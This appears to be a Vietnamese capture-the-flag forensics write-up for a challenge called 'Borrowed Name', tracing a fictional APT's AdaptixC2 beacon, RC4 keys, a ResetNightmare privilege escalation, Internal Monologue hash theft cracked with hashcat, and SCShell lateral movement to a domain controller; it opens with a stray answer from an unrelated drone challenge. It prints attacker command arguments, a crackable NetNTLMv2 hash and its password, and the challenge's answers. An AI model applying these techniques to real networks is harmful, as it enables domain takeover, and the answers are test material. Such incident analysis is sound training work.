Nhìn vào bản đồ, điểm rơi nằm ngay phía nam của công viên Hyde Park (London). Hệ thống bản đồ đã dán nhãn rất rõ ràng tên của toàn bộ khu phố thương mại sầm uất mà chiếc drone đang hoạt động và rơi xuống
Knightsbridge
8 - Borrowed Name
The story will unfold through the PDFs provided with each challenge’s downloadable ZIP. All characters, locations, and events are fictional. Any resemblance to real people, places, or events is purely coincidental.
Difficulty: Insane
Q1: What is the C2 used for this attack? (string)
Yêu cầu: Xác định framework Command and Control (C2) được nhóm APT sử dụng trong chiến dịch này.
Giải nén file artifact BorrowedName.zip, ta thu được file bắt gói tin mạng capture.pcapng, ảnh đĩa Q3_Salary_Review.img và log hệ thống Microsoft-Windows-NTLM%4Operational.evtx.
Kiểm tra tệp tin ảnh đĩa Q3_Salary_Review.img (định dạng FAT32), trích xuất được shortcut lừa đảo Salary_Review_Q3_2026.pdf.lnk cùng binary thực thi độc hại winupdate.exe.

Tiến hành phân tích winupdate.exe trong IDA Pro:

Nhấn Shift + F12 để kiểm tra danh sách các chuỗi tĩnh (Strings). Mình phát hiện chuỗi 13ConnectorHTTP, cho thấy mã độc được viết bằng C++ và có module mạng chuyên biệt tên ConnectorHTTP:

Đi vào hàm main và phân tích tiếp luồng khởi tạo ban đầu, mình bắt gặp hàm thiết lập cấu hình:


Phân tích logic của hàm con, dễ dàng nhận diện đây là thuật toán mã hóa đối xứng dòng RC4 (khởi tạo mảng hoán vị S-box 256 phần tử và hoán đổi vị trí theo khóa):

Sau khi xác định được thuật toán mã hóa, mình kiểm tra tham số khóa tĩnh được nạp vào hàm khởi tạo RC4:

Trích xuất chuỗi 16 byte khóa tĩnh (EncryptionKey):
1 | 4580221AC3FE51BE1797524A048E552D |
Đồng thời, khi phân tích lưu lượng mạng trong capture.pcapng, mình thấy máy nạn nhân (192.168.56.22) chỉ giao tiếp với một máy chủ C2 duy nhất tại 192.168.56.1:8818:

Client liên tục gửi các HTTP request tới C2 server kèm theo trường header tùy chỉnh X-Beacon-Id:

Giải mã chuỗi Base64 trong header này bằng EncryptionKey vừa tìm được, ta thu được 4 byte Magic Header đầu tiên là 0xBE4C0149 (\x49\x01\x4c\xbe). Đây chính là signature watermark đặc trưng của agent Beacon thuộc C2 framework Adaptix (AdaptixC2):

Adaptix
Q2: What is the SessionKey:EncryptionKey used? (SessionKey:EncryptionKey)
Yêu cầu: Xác định cặp khóa mã hóa SessionKey:EncryptionKey được dùng để bảo vệ các kênh liên lạc giữa Beacon và C2 Server.
Từ kết quả giải mã header X-Beacon-Id ở câu Q1, toàn bộ cấu trúc metadata đăng ký của Beacon được làm sáng tỏ:

Cấu trúc gói tin giải mã gồm:
- Byte 0–3: Magic
0xBE4C0149(Adaptix watermark). - Byte 4–7: Beacon ID (
58debcbb). - Byte 48–63 (16 bytes): Khóa phiên làm việc động (
SessionKey):
1 | 53fc4c03c7b461befe5dcb268e3d9208 |
Khóa phiên SessionKey này được dùng để mã hóa hai chiều toàn bộ dữ liệu trao đổi (tasks từ C2 và command output từ Beacon) trong phần body của các gói tin tiếp theo. Kết hợp với khóa tĩnh EncryptionKey (4580221ac3fe51be1797524a048e552d), ta có cặp khóa hoàn chỉnh:
53fc4c03c7b461befe5dcb268e3d9208:4580221ac3fe51be1797524a048e552d
Q3: What CVE is used for privilege escalation? (CVE-****-*****)
Yêu cầu: Xác định mã CVE mà APT group sử dụng để leo thang đặc quyền từ người dùng thông thường lên quyền quản trị Domain.
Sau khi đã có SessionKey, mình thử lấy một gói tin HTTP POST gửi lên C2 server để giải mã:

Giải mã payload bằng thuật toán RC4 với SessionKey, toàn bộ nội dung bản rõ trả về từ Beacon được hiển thị:

Để tự động hóa việc rà soát toàn bộ lưu lượng C2 trong file pcap, mình viết một script Python ngắn với Scapy để giải mã tất cả các gói HTTP POST:
1 | from scapy.all import rdpcap |
Khi chạy script giải mã, tại gói tin #732, mình phát hiện log thực thi module leo quyền:

Mã độc ghi nhận:
1 | [*] Action: ResetNightmare (CVE-2026-27912) |
Kỹ thuật này khai thác lỗ hổng mang tên ResetNightmare, được gán mã định danh CVE-2026-27912. Lỗ hổng cho phép kẻ tấn công lợi dụng quyền ghi thuộc tính UPN (userPrincipalName) của một tài khoản để giả mạo tài khoản đặc quyền khác, từ đó xin cấp Kerberos TGT với dịch vụ kadmin/changepw và đặt lại mật khẩu của tài khoản mục tiêu.
CVE-2026-27912
Q4: Napoleon APT used a custom BOF to execute this attack, what is the md5sum? (md5 hash)
Yêu cầu: Tính mã băm MD5 của custom Beacon Object File (BOF) được sử dụng để thực thi cuộc tấn công ResetNightmare.
Trong luồng dữ liệu từ C2 Server gửi về Beacon (các response HTTP 200), các tác vụ chạy BOF (Command ID 50) chứa entry point go\x00, theo sau là 4 byte độ dài và raw binary của file COFF object (.o).
Giải mã chunk dữ liệu HTTP Response chứa lệnh khai thác ResetNightmare (kích thước lớn trong response chunk 225/228), ta trích xuất được object file độc hại reset_nightmare.o với kích thước 70,169 bytes (bắt đầu bằng COFF machine header 0x8664 cho kiến trúc x64):
1 | from scapy.all import rdpcap, TCP, IP |
Tính toán mã băm MD5 của file nhị phân BOF:

583236cc3ef2488fb133385bcd75825e
Q5: In order for this attack to happen, a compromised user needs to have write rights on a Property, what is the ObjectSID of that property? (SID)
Yêu cầu: Xác định ObjectSID của đối tượng/thuộc tính mà tài khoản bị xâm nhập cần có quyền ghi (WriteProperty) để triển khai cuộc tấn công.
Trước khi kích hoạt exploit ResetNightmare, kẻ tấn công thực hiện trinh sát Active Directory và kiểm tra bảng điều khiển truy cập (Access Control Entries - ACE) trên đối tượng tài khoản của người dùng afenwick.
Khi giải mã gói tin Response lớn từ C2 server, mình phát hiện cấu hình và tham số mà C2 gửi xuống cho Beacon:

Kẻ tấn công cần có quyền WriteProperty trên chính đối tượng người dùng afenwick (CN=afenwick,OU=Analysts,DC=core,DC=diogenes,DC=htb) để sửa đổi thuộc tính userPrincipalName mạo danh tài khoản quản trị mục tiêu. Do đó, ObjectSID của đối tượng bị can thiệp thuộc tính là SID của afenwick:
S-1-5-21-2253468260-689643353-167204612-1125
Q6: In order to perform the above attack, a user’s password needs to be known. What (named) attack did the APT group used, and when did it take place? (NAME_OF_ATTACK:YYYY-MM-DD HH:mm:ss)
Yêu cầu: Xác định tên cuộc tấn công được sử dụng để lấy mật khẩu của người dùng và thời điểm chính xác diễn ra theo chuẩn UTC.
Trong kết quả giải mã ở câu Q3, tại gói tin #611, Beacon gửi về máy chủ C2 một chuỗi NetNTLMv2 Response hoàn chỉnh của người dùng afenwick:

Chuỗi challenge được sử dụng là giá trị tĩnh 1122334455667788. Đây là dấu hiệu nhận diện đặc trưng của kỹ thuật Internal Monologue Attack (tấn công gọi trực tiếp các API của SSPI/NTLM SSP từ tiến trình người dùng hiện tại mà không cần quyền nâng cao, buộc hệ thống tính toán NetNTLMv2 hash với Server Challenge giả lập).
Kiểm tra nhật ký hệ thống Microsoft-Windows-NTLM%4Operational.evtx và lọc theo Event ID 4021 (NTLM audit validation), mình tìm thấy bản ghi xác thực tương ứng:

Bản ghi sự kiện ghi nhận thời gian theo giờ cục bộ (UTC+7). Quy đổi thời gian về chuẩn quốc tế UTC:
- Giờ cục bộ:
2026-09-10 03:44:11(UTC+7) - Giờ chuẩn UTC:
2026-09-09 20:44:11
Ghép tên cuộc tấn công và mốc thời gian theo định dạng yêu cầu:
Internal_Monologue:2026-09-09 20:44:11
Internal_Monologue:2026-09-09 20:44:11
Q7: Which user credentials were used to perform the attack? (username:password)
Yêu cầu: Xác định thông tin đăng nhập (username:password) của tài khoản được sử dụng để thực hiện cuộc tấn công.
Từ chuỗi NetNTLMv2 hash của người dùng afenwick thu thập được qua kỹ thuật Internal Monologue ở câu trên:
1 | afenwick::DIOCORE:1122334455667788:032b0b4aa446b7d68c6780135ef2ec24:0101000000000000b98318f89b40dd0188710ab71b4825d10000000008005000500000000000000000000000020000048e7e02afbb4d8dd89a1bf00f8976f4da60de7b351998f52913b13ae3f7908aad383770bcba0bda27095df48e2e35cf4256ad28f010d93ad6af198c52ab6f9be0a00100000000000000000000000000000000000090000000000000000000000 |
Kẻ tấn công thực hiện bẻ khóa ngoại tuyến (offline cracking) bằng Hashcat chế độ NetNTLMv2 (-m 5600) cùng từ điển rockyou.txt:

Mật khẩu được bẻ khóa thành công là *Seash5lls*. Do đó, cặp credentials hoàn chỉnh được kẻ tấn công sử dụng là:
afenwick:Seash5lls
Q8: Which user was targeted and what was their resulting password? (username:password)
Yêu cầu: Xác định tài khoản mục tiêu của cuộc tấn công ResetNightmare và mật khẩu mới được kẻ tấn công gán cho tài khoản đó.
Sau khi bẻ khóa được mật khẩu của afenwick, kẻ tấn công tiến hành bước khai thác chính: đặt lại mật khẩu cho một tài khoản quản trị miền.
Để xác định chính xác tham số truyền vào, mình truy ngược từ kết quả thực thi trả về. Tại gói tin Packet #754 (HTTP POST), Beacon báo cáo kết quả:

1 | [+] Password reset successfully for user jreed! |
Gói tin giao việc tương ứng ngay trước đó là gói HTTP Response Packet #739 / #746 (kích thước lớn 70,331 bytes do chứa BOF):

Dữ liệu phản hồi từ C2 server có định dạng JSON mang theo dữ liệu nhị phân mã hóa RC4:

Vì trường data chứa dữ liệu nhị phân thô (Raw bytes), việc copy dạng UTF-8 hay ASCII Text thông thường sẽ làm hỏng dữ liệu do ký tự thay thế unicode. Mình copy dữ liệu dưới dạng Hex Stream (7b22737461...), đưa vào CyberChef với Recipe:
From Hex(hoặc giữ Hex stream và drop 52 hex chars)Drop bytes(Start:0, Length:26- để loại bỏ header{"status": "ok", "data": ")RC4(Key format:HEX, Key:53fc4c03c7b461befe5dcb268e3d9208, Input format:Raw, Output format:Latin1)Strings(Minimum length:4)

Cuộn xuống cuối phần output giải mã, chuỗi tham số truyền vào hàm go của BOF hiện ra rõ ràng:
1 | /target:jreed /new:Aigohng8vai0seish4zi /upnuser:afenwick /upnpass:*Seash5lls* |
Kẻ tấn công đã nhắm mục tiêu vào tài khoản quản trị viên jreed và đặt lại mật khẩu mới cho tài khoản này là Aigohng8vai0seish4zi.
jreed:Aigohng8vai0seish4zi
Q9: After privesc, what is the new token logon type what was created? (number)
Yêu cầu: Xác định số hiệu Logon Type của Windows security token mới được tạo ra sau khi leo quyền.
Sau khi đặt lại mật khẩu tài khoản jreed thành công, kẻ tấn công khởi tạo một security token mới nhằm mạo danh jreed phục vụ cho các kết nối mạng tiếp theo sang Domain Controller.
Trong log phản hồi của Beacon tại gói tin Packet #825 (HTTP POST):

Beacon thông báo mạo danh thành công:
1 | The user impersonated successfully: DIOCORE\jreed (logon: 9) |
Đồng thời, trên máy trạm nạn nhân ws02, Windows Security Log ghi nhận sự kiện Event ID 4624 (An account was successfully logged on) cho tài khoản jreed với trường Logon Type là 9.
Số 9 biểu thị cho kiểu đăng nhập LOGON32_LOGON_NEW_CREDENTIALS (tương tự như hành vi của lệnh runas /netonly). Kiểu đăng nhập này cho phép tiến trình tiếp tục sử dụng token hiện tại trên máy cục bộ, nhưng khi thực hiện xác thực mạng ra các tài nguyên bên ngoài (như SMB, RPC đến Domain Controller dc02), hệ thống sẽ tự động gửi đi credentials mới của jreed.
9
Q10: For lateral movement, what is the path the new agent was uploaded to? (\IP\Share...<…>\file)
Yêu cầu: Xác định đường dẫn đầy đủ mà file agent mới được tải lên máy chủ Domain Controller trong bước di chuyển ngang.
Với đặc quyền mới chiếm được từ tài khoản jreed, kẻ tấn công tiếp tục triển khai kỹ thuật SCShell nhằm di chuyển ngang (Lateral Movement) sang Domain Controller dc02 (192.168.56.11).
Trong capture.pcapng, sau khi nhận task SCShell lớn từ C2 server ở gói #890, Beacon thực thi và gửi kết quả báo cáo về C2 Server trong gói Packet #896 (HTTP POST):

Copy phần dữ liệu nhị phân dưới dạng Hex Stream và giải mã bằng SessionKey qua CyberChef:

Trong log thực thi của SCShell BOF hiển thị rõ:
1 | Trying to connect to dc02 |
Binary agent mới (kích thước 103,936 bytes) đã được đẩy trực tiếp lên share quản trị ADMIN$ của máy chủ DC02 dưới tên tệp svc_bkup. Chuyển đổi tên máy dc02 sang định dạng địa chỉ IP 192.168.56.11 (được xác nhận từ bản ghi DNS trước đó ở gói #288) theo đúng định dạng yêu cầu của đề bài:

\192.168.56.11\ADMIN$\svc_bkup
Q11: Which service group was used to start the new agent? (string)
Yêu cầu: Xác định Windows Service Group được kẻ tấn công lợi dụng để kích hoạt agent mới trên Domain Controller.
Kỹ thuật SCShell cho phép thực thi mã từ xa mà không cần tạo mới một Windows Service (nhằm tránh sinh ra Event ID 7045 - A service was installed in the system trên SIEM). Kỹ thuật này hoạt động bằng cách mượn một service hợp pháp đang tồn tại trên hệ thống, thay đổi tạm thời cấu hình binPath trỏ tới payload độc hại, kích hoạt khởi chạy service, sau đó lập tức hoàn nguyên binPath về nguyên bản.
Quan sát log thực thi của SCShell BOF:

1 | Original service binary path: "C:\Windows\system32\svchost.exe -k defragsvc" |
Tham số -k trong dòng lệnh svchost.exe chỉ định nhóm dịch vụ (Service Group) lưu trữ tiến trình dịch vụ, ở đây là defragsvc (dịch vụ chống phân mảnh và tối ưu hóa ổ đĩa).
defragsvc
Q12: What is the new BeaconID:SessionKey? (BeaconID:SessionKey)
Yêu cầu: Xác định định danh BeaconID:SessionKey của agent mới khi thực hiện kết nối ngược từ Domain Controller về máy chủ điều khiển C2.
Sau khi service trên DC02 khởi chạy payload svc_bkup, một agent mới được kích hoạt và bắt đầu gửi các kết nối HTTP beacon về C2 Server 192.168.56.1:8818. Lọc các gói tin HTTP từ IP nguồn 192.168.56.11:

Kiểm tra gói tin HTTP đầu tiên phát hiện được là Packet #903 (POST /api/v1/status HTTP/1.1) chứa trường header X-Beacon-Id:

Tiến hành giải mã chuỗi Base64 này bằng khóa tĩnh EncryptionKey (4580221ac3fe51be1797524a048e552d):
- CyberChef Recipe:
From Base64->RC4(Key format:HEX, Key:4580221ac3fe51be1797524a048e552d, Input:Raw, Output:Hex).
Chuỗi Hex thu được sau khi giải mã:
1 | be4c0149 ddc68fa7 00000004 00000000 00000000 00000000 04e401b5 f80d3013 |
Phân tích cấu trúc header đã giải mã:
- Byte 0–3 (
0x00 - 0x03):be4c0149(Magic header định danh Adaptix C2). - Byte 4–7 (
0x04 - 0x07): Beacon ID mới gồm 4 bytes làddc68fa7. - Byte 48–63 (
0x30 - 0x3F): Khóa phiên làm việc mớiSessionKeygồm 16 bytes là289122cf1ec91c67eb89c30642adfea4. - (Các trường metadata tiếp theo ghi nhận: domain
core.diogenes.htb, computer nameDC02, usernameSYSTEM, processsvc_bkup).
Ghép nối hai giá trị theo định dạng BeaconID:SessionKey:
ddc68fa7:289122cf1ec91c67eb89c30642adfea4